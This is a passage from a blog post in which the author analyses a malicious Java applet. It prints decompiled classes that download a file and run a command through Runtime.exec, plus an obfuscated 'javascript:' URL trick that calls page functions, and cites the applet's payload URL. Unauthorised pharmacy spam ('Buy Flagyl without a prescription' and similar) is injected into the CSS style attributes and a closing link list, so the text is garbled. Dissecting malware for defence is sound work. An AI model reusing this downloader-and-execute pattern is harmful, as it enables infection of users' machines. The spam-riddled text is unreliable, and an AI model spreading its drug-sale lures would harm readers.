<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl results</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             <span style="color: #0000ff">if</span>(bufferedoutputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 bufferedoutputstream.<span style="color: #0000ff">close</span>();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>real brand Flagyl online</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span> }</pre>  </div></div></p>
<p><p>c_ed.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Where can i cheapest Flagyl online</b>, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">class</span> c_ed</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dosage</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     c_ed()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     <span style="color: #0000ff">public</span> void ed(String s, String s1, <b>Buy Flagyl without a prescription</b>, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>             c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             c_de c_de1 = <span style="color: #0000ff">new</span> c_de();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>buy Flagyl online cod</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             <span style="color: #0000ff">int</span> i = 0;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             do</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 <span style="color: #0000ff">if</span>(i &gt;= 5)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                     <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dose</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>                 <span style="color: #0000ff">if</span>(c_de1.de(s, s1))</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>                 {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                     Process process = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                     process = Runtime.getRuntime().<span style="color: #0000ff">exec</span>(s1);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                     <span style="color: #0000ff">if</span>(process != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl wiki</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                         c_js1.js(&quot;JSM_onLoad&quot;, applet);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                         <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl australia, uk, us, usa</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 i++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>             } <span style="color: #0000ff">while</span>(<span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span> }</pre>  </div></div></p>
<p><p>c_js.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, <b>Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.applet.AppletContext;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Buy Flagyl online no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_js</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_js()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>buy Flagyl from canada</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     <span style="color: #0000ff">public</span> void js(String s, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         String s1 = &quot;vascri&quot;;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Where can i find Flagyl online</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             applet.getAppletContext().showDocument(<span style="color: #0000ff">new</span> URL((<span style="color: #0000ff">new</span> StringBuilder()).append(&quot;ja&quot;).append(s1).append(&quot;pt:&quot;).append(s).append(&quot;();&quot;).toString()));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>doses Flagyl work</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> }</pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.&#160; I like the way they break up “ja-vascri-pt:”</p></p>
<p><p>c_ed calls the javascript function JSM_onLoad&#160; (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.</p></p>
<p><p>c_de, I could be missing something, but it looks like that code can download near anything.&#160; Kind of scary that one.</p></p>
<p><p>c_gP, I will need a Java expert for that.&#160; Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).</p></p>
<p><p>a, this one is the entry point for the applet.&#160; It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).</p></p>
<p><h3></h3></p>
<p><h3>Where did this go?</h3></p>
<p><p>OK, I spent a couple of hours on this, <b>Where can i buy cheapest Flagyl online</b>, part of that is writing this up, so this is kind of a mad dash.&#160; But it looks like the point was to load random images onto the page.&#160; But someone else can look that up.</p></p>
<p><p>Now the rest of the ethical delima: should I have posted this?&#160; Personally I think there are valuable things to learn from reading code like this.&#160; And it is always good to know what the “other side” is doing.&#160; But is posting the code more harm than good?</p></p>
<p><p>Tell me what you think.&#160; If you convince me I did wrong, some of this may go away.</p>.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4977'>Spiriva For Sale</a>. <a href='http://elegantcode.com/?p=4713'>Colchicine For Sale</a>. <a href='http://elegantcode.com/?p=4388'>Buy Levaquin Without Prescription</a>. <a href='http://elegantcode.com/?p=5020'>Buy Alesse (Ovral L) Without Prescription</a>. <a href='http://elegantcode.com/?p=4930'>Buy Betnovate Without Prescription</a>. <a href='http://elegantcode.com/?p=4731'>Purchase Celebrex for sale</a>. <a href='http://elegantcode.com/?p=4608'>After Cephalexin</a>. <a href='http://elegantcode.com/?p=4407'>No prescription Nexium online</a>. <a href='http://elegantcode.com/?p=4307'>Toradol long term</a>. <a href='http://elegantcode.com/?p=4715'>Aldactone pics</a>.<br />
